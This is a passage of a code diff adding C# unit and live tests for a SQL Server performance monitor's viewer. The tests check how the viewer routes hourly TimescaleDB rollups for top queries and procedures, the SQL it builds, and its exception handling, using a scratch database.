+        var stitched = ViewerServerTab.HourlyBannerSuffix("hourly", false, null)!;
+        var io = ViewerServerTab.HourlyBannerSuffix("hourly", true, null)!;
+
+        Assert.Contains("reads, writes, spills", stitched, StringComparison.Ordinal);
+        Assert.DoesNotContain("reads, writes", io, StringComparison.Ordinal);
+        Assert.Contains("per-caller detail, spills and min/max CPU and duration are not kept", io, StringComparison.Ordinal);
+
+        var withNote = ViewerServerTab.HourlyBannerSuffix("hourly", true, "an edge");
+        Assert.StartsWith(io, withNote, StringComparison.Ordinal);
+        Assert.EndsWith("Window edges: an edge", withNote, StringComparison.Ordinal);
+    }
+
+    /// <summary>Source pins: each hourly arm takes the ceiling from the shared rule (never a second copy), binds it, and
+    /// answers the note; the service's reader delegates to the same method; the tab passes the note to the banner.</summary>
+    [Theory]
+    [InlineData("ViewerDataService.QueryStats.cs", "GetTopQueriesByCpuHourlyAsync", "BuildTopQueriesHourlySql")]
+    [InlineData("ViewerDataService.ProcedureStats.cs", "GetTopProceduresByCpuHourlyAsync", "BuildTopProceduresHourlySql")]
+    public void HourlyArm_BoundsAtTheSharedCeiling_AndAnswersTheNote(string file, string method, string builder)
+    {
+        var source = File.ReadAllText(FindSource("PerformanceMonitor.Darling.Viewer", file));
+        var start = source.IndexOf("> " + method + "(", StringComparison.Ordinal);
+        Assert.True(start >= 0, method + " not found");
+        var end = source.IndexOf("internal static string BuildTop", start, StringComparison.Ordinal);
+        var body = source.Substring(start, end - start);
+
+        Assert.Contains("coverage.HourlyEndCeiling(answeringView, startUtc)", body, StringComparison.Ordinal);
+        Assert.Contains(builder + "(fromClause, withIo: useIo, ceiling: ceiling)", body, StringComparison.Ordinal);
+        Assert.Contains("AddHourlyCeilingParameter(command, ceiling)", body, StringComparison.Ordinal);
+        /* #5329: the start edge is this SERVER's first bucket, from the one probe the service runs too (in Storage). */
+        Assert.Contains("coverage.GetHourlyFirstBucketAsync(", body, StringComparison.Ordinal);
+        Assert.Contains("_dataSource, answeringView, serverId, startUtc, endUtc, ceiling", body, StringComparison.Ordinal);
+        Assert.Contains("HourlyEdgesNote(startUtc, endUtc, firstBucket, ceiling)", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("HourlyServedFloor", body, StringComparison.Ordinal);
+        Assert.Contains("coverage.StitchedRelationSql(answeringView", body, StringComparison.Ordinal);
+    }
+
+    /// <summary>#5329: when the grid read throws, the probe running beside it is awaited in a swallowing helper, so its own
+    /// fault is observed (never a second "Unobserved task exception" for one failure) and the grid's exception is the one
+    /// that propagates. Each arm returns <c>ViewerRoutedRead</c> directly (a tuple return hides it from the fan-out census).</summary>
+    [Theory]
+    [InlineData("ViewerDataService.QueryStats.cs", "GetTopQueriesByCpuHourlyAsync", "ViewerRoutedRead<ViewerQueryStatsRow>")]
+    [InlineData("ViewerDataService.ProcedureStats.cs", "GetTopProceduresByCpuHourlyAsync", "ViewerRoutedRead<ViewerProcedureStatsRow>")]
+    public void HourlyArm_ObservesTheProbe_WhenTheGridReadThrows_AndReturnsTheRoutedRead(string file, string method, string returnType)
+    {
+        var source = File.ReadAllText(FindSource("PerformanceMonitor.Darling.Viewer", file));
+        var start = source.IndexOf("private async Task<" + returnType + "> " + method + "(", StringComparison.Ordinal);
+        Assert.True(start >= 0, method + " must return " + returnType + " directly, not a tuple");
+        var end = source.IndexOf("internal static string BuildTop", start, StringComparison.Ordinal);
+        var body = source.Substring(start, end - start);
+
+        var probe = body.IndexOf("var firstBucketTask = ", StringComparison.Ordinal);
+        var tryAt = body.IndexOf("try", probe, StringComparison.Ordinal);
+        var catchAt = body.IndexOf("catch", tryAt, StringComparison.Ordinal);
+        var observe = body.IndexOf("await ObserveAsync(firstBucketTask);", catchAt, StringComparison.Ordinal);
+        var rethrow = body.IndexOf("throw;", observe, StringComparison.Ordinal);
+        var awaited = body.IndexOf("await firstBucketTask;", rethrow, StringComparison.Ordinal);
+        Assert.True(probe >= 0 && tryAt > probe && catchAt > tryAt && observe > catchAt && rethrow > observe && awaited > rethrow,
+            "the grid read must sit in a try whose catch observes the probe and rethrows, before the probe is awaited");
+        /* The command and the reader are opened inside the try. */
+        Assert.True(body.IndexOf("ExecuteReaderAsync(", StringComparison.Ordinal) > tryAt);
+        Assert.True(body.IndexOf("ExecuteReaderAsync(", StringComparison.Ordinal) < catchAt);
+        Assert.Contains("return new " + returnType + "(", body, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task ObserveAsync_SwallowsTheProbesFault_SoOnlyTheGridReadsExceptionPropagates()
+    {
+        var faulted = Task.FromException(new TimeoutException("probe"));
+        await ViewerDataService.ObserveAsync(faulted);   // must not throw
+        Assert.True(faulted.IsFaulted);
+
+        var cancelled = Task.FromCanceled(new CancellationToken(canceled: true));
+        await ViewerDataService.ObserveAsync(cancelled);
+
+        await ViewerDataService.ObserveAsync(Task.CompletedTask);
+    }
+
+    [Fact]
+    public void ServiceReader_DelegatesItsCeilingToTheSharedRule_AndTheTabShowsTheNote()
+    {
+        var reader = File.ReadAllText(FindSource("PerformanceMonitor.Darling.Service", Path.Combine("Mcp", "DarlingDataReader.cs")));
+        var at = reader.IndexOf("private static DateTime? HourlyEndCeiling(", StringComparison.Ordinal);
+        Assert.True(at >= 0);
+        var declaration = reader.Substring(at, 220);
+        Assert.Contains("coverage.HourlyEndCeiling(legacy, startUtc)", declaration, StringComparison.Ordinal);
+        Assert.DoesNotContain("StitchFloor(", declaration, StringComparison.Ordinal);
+
+        var tab = File.ReadAllText(FindSource("PerformanceMonitor.Darling.Viewer", "ViewerServerTab.Queries.cs"));
+        Assert.Equal(4, System.Text.RegularExpressions.Regex.Matches(
+            tab, @"HourlyBannerSuffix\(read\.Tier, read\.IoRoute, read\.HourlyEdgesNote\), HourlyServedOf\(read\.Tier, read\.HourlyFirstBucket\)").Count);
+    }
+
+    private static string FindSource(string project, string file)
+    {
+        var dir = new DirectoryInfo(AppContext.BaseDirectory);
+        while (dir is not null)
+        {
+            var candidate = Path.Combine(dir.FullName, project, file);
+            if (File.Exists(candidate))
+            {
+                return candidate;
+            }
+
+            dir = dir.Parent;
+        }
+
+        throw new FileNotFoundException("Could not locate " + file + " above " + AppContext.BaseDirectory);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerIndexAnalysisTests.cs b/Darling/Darling.Tests/ViewerIndexAnalysisTests.cs
index 7adb4199c0..b69bf73271 100644
--- a/Darling/Darling.Tests/ViewerIndexAnalysisTests.cs
+++ b/Darling/Darling.Tests/ViewerIndexAnalysisTests.cs
@@ -36,11 +36,16 @@ public void IndexObjectStatsLatestSql_LatestPerIndex_ViaDistinctOn()
         var sql = ViewerDataService.IndexObjectStatsLatestSql;
 
         Assert.Contains("FROM v_index_object_stats", sql, StringComparison.Ordinal);
-        /* Latest snapshot per index identity — never the whole history, and keyed on the index (not a single
-           server-wide MAX(collection_time)) so per-database cycles with different times still dedupe right. */
-        Assert.Contains("DISTINCT ON (database_id, object_id, index_id)", sql, StringComparison.Ordinal);
+        /* Each database's newest snapshot (#5072): a per-database max(collection_time) anchor, the rows joined on
+           (database_id, anchor), lower-bounded by the oldest anchor so the join stays on the newest chunks. */
+        Assert.Contains("max(collection_time) AS t", sql, StringComparison.Ordinal);
+        Assert.Contains("GROUP BY database_id", sql, StringComparison.Ordinal);
+        Assert.Contains("JOIN anchor AS a ON a.database_id = s.database_id AND a.t = s.collection_time", sql, StringComparison.Ordinal);
+        Assert.Contains("s.collection_time >= (SELECT min(t) FROM anchor)", sql, StringComparison.Ordinal);
+        Assert.Contains("DISTINCT ON (s.database_id, s.object_id, s.index_id)", sql, StringComparison.Ordinal);
         Assert.Contains("WHERE server_id = $1", sql, StringComparison.Ordinal);
-        Assert.Contains("ORDER BY database_id, object_id, index_id, collection_time DESC", sql, StringComparison.Ordinal);
+        Assert.Contains("WHERE s.server_id = $1", sql, StringComparison.Ordinal);
+        Assert.Contains("ORDER BY s.database_id, s.object_id, s.index_id, s.collection_time DESC", sql, StringComparison.Ordinal);
     }
 
     [Fact]
diff --git a/Darling/Darling.Tests/ViewerIoRollupRouteLiveTests.cs b/Darling/Darling.Tests/ViewerIoRollupRouteLiveTests.cs
new file mode 100644
index 0000000000..5edd11d28d
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerIoRollupRouteLiveTests.cs
@@ -0,0 +1,322 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5329 lane C: the viewer's Top Queries and Top Procedures hourly route reads the io hourly rollup, and fills
+/// reads, physical reads and writes from its sums, when the store has the view and its first bucket is at or
+/// before the window's start. Against real rollups: one query and one procedure, 30 executions over two hours with
+/// nonzero I/O, rolled up and then purged from raw so the hourly rollups are all that is left.
+///
+/// <para>Three reads, each from a fresh viewer (the rollup probe is cached per instance): a window that starts at
+/// the io view's first bucket (covering: reads filled), a window that starts an hour before it (the view starts
+/// after the window start: today's route, reads blank), and the covering window again after the io views are
+/// dropped (a store without io: no error, reads blank). The columns other than reads are compared between the
+/// three reads for the same seed, so the io route shows exactly what the interval route shows.</para>
+///
+/// <para><b>#1776 own-store</b> — the test mints a scratch database (it materializes continuous aggregates the
+/// shared fixture must never inherit), so the class is deliberately NOT in the <c>live-postgres</c>
+/// collection.</para>
+/// </summary>
+public sealed class ViewerIoRollupRouteLiveTests
+{
+    private const int ServerId = -947202;
+    private const string ServerName = "viewer-io-route";
+    private const string Db = "IoRouteDb";
+    private const string QueryHash = "0xIOQ1";
+    private const string ProcName = "usp_IoRoute";
+
+    /// <summary>A fixed anchor, never wall-clock relative.</summary>
+    private static readonly DateTime WindowStart = new(2026, 1, 5, 0, 0, 0, DateTimeKind.Unspecified);
+
+    [Fact]
+    public async Task HourlyRoute_FillsReadsFromTheIoRollupOnlyWhenItCoversTheWindowStart()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live io-rollup route test.");
+
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var timescaleEnabled = await TimescaleSupport.TryEnableAsync(connection, null, ct);
+        Assert.SkipWhen(!timescaleEnabled, "The live io-rollup route test needs TimescaleDB.");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+        Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, null, ct));
+
+        await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection))
+        {
+            await stop.ExecuteNonQueryAsync(ct);
+        }
+
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+        await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
+
+        var windowEnd = WindowStart.AddDays(1);
+        var end = WindowStart.AddHours(4);
+        var firstBucket = WindowStart.AddHours(1);
+        var bodySucceeded = false;
+        try
+        {
+            /* Two hours, 10 and 20 executions, each stamped 10 minutes past its hour: the first bucket is 01:00. */
+            await PlantQueryAsync(connection, firstBucket.AddMinutes(10), 10, ct);
+            await PlantQueryAsync(connection, firstBucket.AddHours(1).AddMinutes(10), 20, ct);
+            await PlantProcedureAsync(connection, firstBucket.AddMinutes(10), 10, ct);
+            await PlantProcedureAsync(connection, firstBucket.AddHours(1).AddMinutes(10), 20, ct);
+
+            /* Refresh every hourly rollup the viewer could read BEFORE deleting raw, then purge raw. */
+            foreach (var view in new[]
+            {
+                TimescaleSupport.QueryStatsIntervalHourlyView, TimescaleSupport.ProcedureStatsIntervalHourlyView,
+                TimescaleSupport.QueryStatsIoHourlyView, TimescaleSupport.ProcedureStatsIoHourlyView,
+            })
+            {
+                await RefreshAsync(connection, view, WindowStart, windowEnd.AddHours(1), ct);
+            }
+
+            foreach (var table in new[] { "query_stats", "procedure_stats" })
+            {
+                await using var purge = new NpgsqlCommand(
+                    $"DELETE FROM collect.{table} WHERE server_id = $1 AND collection_time >= $2 AND collection_time < $3", connection);
+                purge.Parameters.AddWithValue(ServerId);
+                purge.Parameters.AddWithValue(WindowStart);
+                purge.Parameters.AddWithValue(windowEnd);
+                await purge.ExecuteNonQueryAsync(ct);
+            }
+
+            /* ── covering: the window starts AT the io view's first bucket. ── */
+            ViewerQueryStatsRow coveringQuery;
+            ViewerProcedureStatsRow coveringProcedure;
+            await using (var viewer = new ViewerDataService(scratch.ConnectionString))
+            {
+                var (queries, queriesTier) = await viewer.GetTopQueriesByCpuTierAsync(ServerId, firstBucket, end, cancellationToken: ct);
+                Assert.Equal("hourly", queriesTier);
+                coveringQuery = Assert.Single(queries);
+                Assert.Equal(3_000L, coveringQuery.TotalLogicalReads);
+                Assert.Equal(30L, coveringQuery.TotalPhysicalReads);
+                Assert.Equal(300L, coveringQuery.TotalLogicalWrites);
+                Assert.Equal(100.0, coveringQuery.AvgReads);
+                Assert.Equal(30L, coveringQuery.TotalExecutions);
+                Assert.Equal(30_000L, coveringQuery.TotalCpuUs);
+                Assert.Equal(27_000L, coveringQuery.TotalElapsedUs);
+                /* What no hourly rollup keeps stays blank: rows, spills, and the per-execution extremes. */
+                Assert.Null(coveringQuery.TotalRows);
+                Assert.Null(coveringQuery.TotalSpills);
+                Assert.Null(coveringQuery.MinCpuUs);
+                Assert.Null(coveringQuery.MaxElapsedUs);
+
+                var (procedures, proceduresTier) = await viewer.GetTopProceduresByCpuTierAsync(ServerId, firstBucket, end, cancellationToken: ct);
+                Assert.Equal("hourly", proceduresTier);
+                coveringProcedure = Assert.Single(procedures);
+                Assert.Equal(3_000L, coveringProcedure.TotalLogicalReads);
+                Assert.Equal(30L, coveringProcedure.TotalPhysicalReads);
+                Assert.Equal(300L, coveringProcedure.TotalLogicalWrites);
+                Assert.Equal(100.0, coveringProcedure.AvgReads);
+                Assert.Equal(30L, coveringProcedure.TotalExecutions);
+                Assert.Equal(30_000L, coveringProcedure.TotalCpuUs);
+                Assert.Null(coveringProcedure.TotalSpills);
+                Assert.Null(coveringProcedure.MinWorkerTimeUs);
+            }
+
+            /* ── the io view starts after the window start (an hour earlier): today's route and blank reads. ── */
+            await using (var viewer = new ViewerDataService(scratch.ConnectionString))
+            {
+                var (queries, queriesTier) = await viewer.GetTopQueriesByCpuTierAsync(ServerId, WindowStart, end, cancellationToken: ct);
+                Assert.Equal("hourly", queriesTier);
+                var q = Assert.Single(queries);
+                AssertReadsBlank(q);
+                AssertSameOtherColumns(coveringQuery, q);
+
+                var (procedures, proceduresTier) = await viewer.GetTopProceduresByCpuTierAsync(ServerId, WindowStart, end, cancellationToken: ct);
+                Assert.Equal("hourly", proceduresTier);
+                var p = Assert.Single(procedures);
+                AssertReadsBlank(p);
+                AssertSameOtherColumns(coveringProcedure, p);
+            }
+
+            /* ── a store without io: drop the two views; the covering window reads exactly like the interval route. ── */
+            foreach (var view in new[] { TimescaleSupport.QueryStatsIoHourlyView, TimescaleSupport.ProcedureStatsIoHourlyView })
+            {
+                await using var drop = new NpgsqlCommand($"DROP MATERIALIZED VIEW collect.{view}", connection);
+                await drop.ExecuteNonQueryAsync(ct);
+            }
+
+            await using (var viewer = new ViewerDataService(scratch.ConnectionString))
+            {
+                var (queries, queriesTier) = await viewer.GetTopQueriesByCpuTierAsync(ServerId, firstBucket, end, cancellationToken: ct);
+                Assert.Equal("hourly", queriesTier);
+                var q = Assert.Single(queries);
+                AssertReadsBlank(q);
+                AssertSameOtherColumns(coveringQuery, q);
+
+                var (procedures, proceduresTier) = await viewer.GetTopProceduresByCpuTierAsync(ServerId, firstBucket, end, cancellationToken: ct);
+                Assert.Equal("hourly", proceduresTier);
+                var p = Assert.Single(procedures);
+                AssertReadsBlank(p);
+                AssertSameOtherColumns(coveringProcedure, p);
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await using var probe = new NpgsqlCommand(
+                    "SELECT count(*) FROM pg_catalog.pg_stat_activity WHERE datname = pg_catalog.current_database() " +
+                    "AND backend_type LIKE 'TimescaleDB Background Worker Scheduler%'", cleanup);
+                var schedulers = Convert.ToInt64(await probe.ExecuteScalarAsync(cleanupCt));
+                Assert.Equal(0L, schedulers);
+            });
+        }
+    }
+
+    private static void AssertReadsBlank(ViewerQueryStatsRow row)
+    {
+        Assert.Null(row.TotalLogicalReads);
+        Assert.Null(row.AvgReads);
+        Assert.Null(row.TotalPhysicalReads);
+        Assert.Null(row.TotalLogicalWrites);
+    }
+
+    private static void AssertReadsBlank(ViewerProcedureStatsRow row)
+    {
+        Assert.Null(row.TotalLogicalReads);
+        Assert.Null(row.AvgReads);
+        Assert.Null(row.TotalPhysicalReads);
+        Assert.Null(row.TotalLogicalWrites);
+    }
+
+    /// <summary>Every column but reads, physical reads and writes comes out the same on the io route as on the interval route.</summary>
+    private static void AssertSameOtherColumns(ViewerQueryStatsRow expected, ViewerQueryStatsRow actual)
+    {
+        Assert.Equal(expected.DatabaseName, actual.DatabaseName);
+        Assert.Equal(expected.QueryHash, actual.QueryHash);
+        Assert.Equal(expected.TotalExecutions, actual.TotalExecutions);
+        Assert.Equal(expected.TotalCpuUs, actual.TotalCpuUs);
+        Assert.Equal(expected.TotalElapsedUs, actual.TotalElapsedUs);
+        Assert.Equal(expected.MinCpuUs, actual.MinCpuUs);
+        Assert.Equal(expected.MaxCpuUs, actual.MaxCpuUs);
+        Assert.Equal(expected.MinElapsedUs, actual.MinElapsedUs);
+        Assert.Equal(expected.MaxElapsedUs, actual.MaxElapsedUs);
+        Assert.Equal(expected.TotalRows, actual.TotalRows);
+        Assert.Equal(expected.TotalSpills, actual.TotalSpills);
+        Assert.Equal(expected.QueryText, actual.QueryText);
+        Assert.Equal(expected.HostObjectName, actual.HostObjectName);
+    }
+
+    private static void AssertSameOtherColumns(ViewerProcedureStatsRow expected, ViewerProcedureStatsRow actual)
+    {
+        Assert.Equal(expected.DatabaseName, actual.DatabaseName);
+        Assert.Equal(expected.SchemaName, actual.SchemaName);
+        Assert.Equal(expected.ObjectName, actual.ObjectName);
+        Assert.Equal(expected.ObjectType, actual.ObjectType);
+        Assert.Equal(expected.TotalExecutions, actual.TotalExecutions);
+        Assert.Equal(expected.TotalCpuUs, actual.TotalCpuUs);
+        Assert.Equal(expected.TotalElapsedUs, actual.TotalElapsedUs);
+        Assert.Equal(expected.MinWorkerTimeUs, actual.MinWorkerTimeUs);
+        Assert.Equal(expected.MaxWorkerTimeUs, actual.MaxWorkerTimeUs);
+        Assert.Equal(expected.MinElapsedTimeUs, actual.MinElapsedTimeUs);
+        Assert.Equal(expected.MaxElapsedTimeUs, actual.MaxElapsedTimeUs);
+        Assert.Equal(expected.TotalSpills, actual.TotalSpills);
+        Assert.Equal(expected.SqlHandle, actual.SqlHandle);
+    }
+
+    /// <summary>One query_stats row with nonzero I/O: per execution 100 reads, 10 writes, 1 physical read, 3 rows, 2 spills.</summary>
+    private static async Task PlantQueryAsync(NpgsqlConnection connection, DateTime at, long executions, CancellationToken ct)
+    {
+        await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.query_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle,
+     delta_worker_time, delta_elapsed_time, delta_execution_count, sample_interval_seconds,
+     delta_logical_reads, delta_logical_writes, delta_physical_reads, delta_rows, delta_spills,
+     min_worker_time, max_worker_time, min_elapsed_time, max_elapsed_time)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, $19, $20)", connection);
+        insert.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        insert.Parameters.AddWithValue(DarlingMcpTestData.TruncateToSeconds(at));
+        insert.Parameters.AddWithValue(ServerId);
+        insert.Parameters.AddWithValue(ServerName);
+        insert.Parameters.AddWithValue(Db);
+        insert.Parameters.AddWithValue(QueryHash);
+        insert.Parameters.AddWithValue("0xIOQ1H");
+        insert.Parameters.AddWithValue(executions * 1_000L);
+        insert.Parameters.AddWithValue(executions * 900L);
+        insert.Parameters.AddWithValue(executions);
+        insert.Parameters.AddWithValue(3600);
+        insert.Parameters.AddWithValue(executions * 100L);
+        insert.Parameters.AddWithValue(executions * 10L);
+        insert.Parameters.AddWithValue(executions);
+        insert.Parameters.AddWithValue(executions * 3L);
+        insert.Parameters.AddWithValue(executions * 2L);
+        AddPerExecutionExtremes(insert);
+        await insert.ExecuteNonQueryAsync(ct);
+    }
+
+    /// <summary>One procedure_stats row with the same per-execution I/O (no rows column on procedures).</summary>
+    private static async Task PlantProcedureAsync(NpgsqlConnection connection, DateTime at, long executions, CancellationToken ct)
+    {
+        await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.procedure_stats
+    (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, sql_handle,
+     delta_worker_time, delta_elapsed_time, delta_execution_count, sample_interval_seconds,
+     delta_logical_reads, delta_logical_writes, delta_physical_reads, delta_spills,
+     min_worker_time, max_worker_time, min_elapsed_time, max_elapsed_time)
+VALUES ($1, $2, $3, $4, $5, 'dbo', $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, $19)", connection);
+        insert.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        insert.Parameters.AddWithValue(DarlingMcpTestData.TruncateToSeconds(at));
+        insert.Parameters.AddWithValue(ServerId);
+        insert.Parameters.AddWithValue(ServerName);
+        insert.Parameters.AddWithValue(Db);
+        insert.Parameters.AddWithValue(ProcName);
+        insert.Parameters.AddWithValue("0x" + ProcName);
+        insert.Parameters.AddWithValue(executions * 1_000L);
+        insert.Parameters.AddWithValue(executions * 900L);
+        insert.Parameters.AddWithValue(executions);
+        insert.Parameters.AddWithValue(3600);
+        insert.Parameters.AddWithValue(executions * 100L);
+        insert.Parameters.AddWithValue(executions * 10L);
+        insert.Parameters.AddWithValue(executions);
+        insert.Parameters.AddWithValue(executions * 2L);
+        AddPerExecutionExtremes(insert);
+        await insert.ExecuteNonQueryAsync(ct);
+    }
+
+    /* The DMV's per-execution extremes, the numbers the raw route shows; the rollups cannot reproduce them. */
+    private const long MinWorkerUs = 800L, MaxWorkerUs = 1_200L, MinElapsedUs = 850L, MaxElapsedUs = 950L;
+
+    private static void AddPerExecutionExtremes(NpgsqlCommand insert)
+    {
+        insert.Parameters.AddWithValue(MinWorkerUs);
+        insert.Parameters.AddWithValue(MaxWorkerUs);
+        insert.Parameters.AddWithValue(MinElapsedUs);
+        insert.Parameters.AddWithValue(MaxElapsedUs);
+    }
+
+    private static async Task RefreshAsync(NpgsqlConnection connection, string view, DateTime from, DateTime to, CancellationToken ct)
+    {
+        await using var refresh = new NpgsqlCommand($"CALL refresh_continuous_aggregate('collect.{view}'::regclass, $1::timestamp, $2::timestamp)", connection);
+        refresh.Parameters.AddWithValue(from);
+        refresh.Parameters.AddWithValue(to);
+        await refresh.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerIoRollupRouteTests.cs b/Darling/Darling.Tests/ViewerIoRollupRouteTests.cs
new file mode 100644
index 0000000000..ce2fe1e164
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerIoRollupRouteTests.cs
@@ -0,0 +1,130 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5329 lane C: the viewer's hourly route for Top Queries and Top Procedures reads the io hourly rollup, and
+/// fills reads, physical reads and writes from its three sums, only when the store has the view and its first
+/// bucket is at or before the window's start. These are the no-database pins of that decision and of the SQL it
+/// produces; <c>ViewerIoRollupRouteLiveTests</c> pins the behavior against real rollups.
+/// </summary>
+public sealed class ViewerIoRollupRouteTests
+{
+    private static readonly DateTime Start = new(2026, 1, 5, 1, 0, 0, DateTimeKind.Utc);
+
+    private static RollupCoverage CoverageWithIoFloor(string view, DateTime? floor)
+    {
+        var floors = new Dictionary<string, DateTime>(StringComparer.Ordinal);
+        if (floor is { } f)
+        {
+            floors[view] = f;
+        }
+
+        return new RollupCoverage(floors, new Dictionary<string, DateTime>(StringComparer.Ordinal), RollupAvailability.All);
+    }
+
+    [Theory]
+    [InlineData(TimescaleSupport.QueryStatsIoHourlyView)]
+    [InlineData(TimescaleSupport.ProcedureStatsIoHourlyView)]
+    public void IoHourlyCoversWindow_IsTrueOnlyWhenTheViewExistsAndItsFloorIsAtOrBeforeTheStart(string view)
+    {
+        /* Covering: the floor is the window start, or earlier. */
+        Assert.True(ViewerDataService.IoHourlyCoversWindow(RollupAvailability.All, CoverageWithIoFloor(view, Start), view, Start));
+        Assert.True(ViewerDataService.IoHourlyCoversWindow(RollupAvailability.All, CoverageWithIoFloor(view, Start.AddDays(-3)), view, Start));
+
+        /* Starting after the window start: the early part of the window is not in the view, so reads would be short. */
+        Assert.False(ViewerDataService.IoHourlyCoversWindow(RollupAvailability.All, CoverageWithIoFloor(view, Start.AddHours(1)), view, Start));
+
+        /* Built but empty (no floor), and a store that does not have the view at all: both today's route, no error. */
+        Assert.False(ViewerDataService.IoHourlyCoversWindow(RollupAvailability.All, CoverageWithIoFloor(view, null), view, Start));
+        Assert.False(ViewerDataService.IoHourlyCoversWindow(
+            RollupAvailability.WithoutIoHourlies, CoverageWithIoFloor(view, Start.AddDays(-3)), view, Start));
+        Assert.False(ViewerDataService.IoHourlyCoversWindow(RollupAvailability.None, RollupCoverage.Unknown, view, Start));
+    }
+
+    [Fact]
+    public void HourlySql_CarriesTheThreeIoSumsOnlyWhenTheIoViewIsTheRelation()
+    {
+        const string From = "collect.query_stats_io_hourly AS f";
+        foreach (var (without, with) in new[]
+        {
+            (ViewerDataService.BuildTopQueriesHourlySql(From), ViewerDataService.BuildTopQueriesHourlySql(From, withIo: true)),
+            (ViewerDataService.BuildTopProceduresHourlySql(From), ViewerDataService.BuildTopProceduresHourlySql(From, withIo: true)),
+        })
+        {
+            Assert.DoesNotContain("logical_reads_sum", without, StringComparison.Ordinal);
+            Assert.DoesNotContain("physical_reads_sum", without, StringComparison.Ordinal);
+            Assert.DoesNotContain("logical_writes_sum", without, StringComparison.Ordinal);
+
+            /* Positions 5, 6 and 7 for queries (3, 4, 5 are executions and the two times); the reader reads them by position. */
+            Assert.Contains("CAST(SUM(logical_reads_sum) AS bigint)", with, StringComparison.Ordinal);
+            Assert.Contains("CAST(SUM(physical_reads_sum) AS bigint)", with, StringComparison.Ordinal);
+            Assert.Contains("CAST(SUM(logical_writes_sum) AS bigint)", with, StringComparison.Ordinal);
+            Assert.True(
+                with.IndexOf("logical_reads_sum", StringComparison.Ordinal) < with.IndexOf("physical_reads_sum", StringComparison.Ordinal)
+                && with.IndexOf("physical_reads_sum", StringComparison.Ordinal) < with.IndexOf("logical_writes_sum", StringComparison.Ordinal));
+
+            /* The ranking, the window bounds and the grouping are the same text either way. */
+            Assert.Contains("bucket >= $2", with, StringComparison.Ordinal);
+            Assert.Contains("bucket < $3", with, StringComparison.Ordinal);
+            Assert.Contains("HAVING", with, StringComparison.Ordinal);
+        }
+
+        /* No new ranking: the ORDER BY is untouched (queries rank by elapsed, procedures by worker time). */
+        Assert.Contains("ORDER BY SUM(elapsed_time_sum) DESC", ViewerDataService.BuildTopQueriesHourlySql(From, withIo: true), StringComparison.Ordinal);
+        Assert.Contains("ORDER BY SUM(worker_time_sum) DESC", ViewerDataService.BuildTopProceduresHourlySql(From, withIo: true), StringComparison.Ordinal);
+    }
+
+    /// <summary>Source pin: both arms decide with <c>IoHourlyCoversWindow</c> and name the io view only through
+    /// <c>StitchedRelationSql</c> (the standing no-literal-relation-name rule), never a literal.</summary>
+    [Theory]
+    [InlineData("ViewerDataService.QueryStats.cs", "QueryStatsIoHourlyView", "GetTopQueriesByCpuHourlyAsync")]
+    [InlineData("ViewerDataService.ProcedureStats.cs", "ProcedureStatsIoHourlyView", "GetTopProceduresByCpuHourlyAsync")]
+    public void HourlyArm_DecidesWithTheCoverageHelper_AndNamesTheIoViewOnlyThroughTheStitch(string file, string viewConstant, string method)
+    {
+        var source = File.ReadAllText(FindViewerSource(file));
+        var start = source.IndexOf("> " + method + "(", StringComparison.Ordinal);
+        Assert.True(start >= 0, method + " not found");
+        var end = source.IndexOf("internal static string BuildTop", start, StringComparison.Ordinal);
+        var body = source.Substring(start, end - start);
+
+        Assert.Contains("IoHourlyCoversWindow(rollups, coverage, TimescaleSupport." + viewConstant, body, StringComparison.Ordinal);
+        /* #5329 C2: the answering view is picked once (io or interval) and spliced through the stitch, and the same name feeds the ceiling. */
+        Assert.Contains("answeringView = useIo ? TimescaleSupport." + viewConstant, body, StringComparison.Ordinal);
+        Assert.Contains("coverage.StitchedRelationSql(answeringView", body, StringComparison.Ordinal);
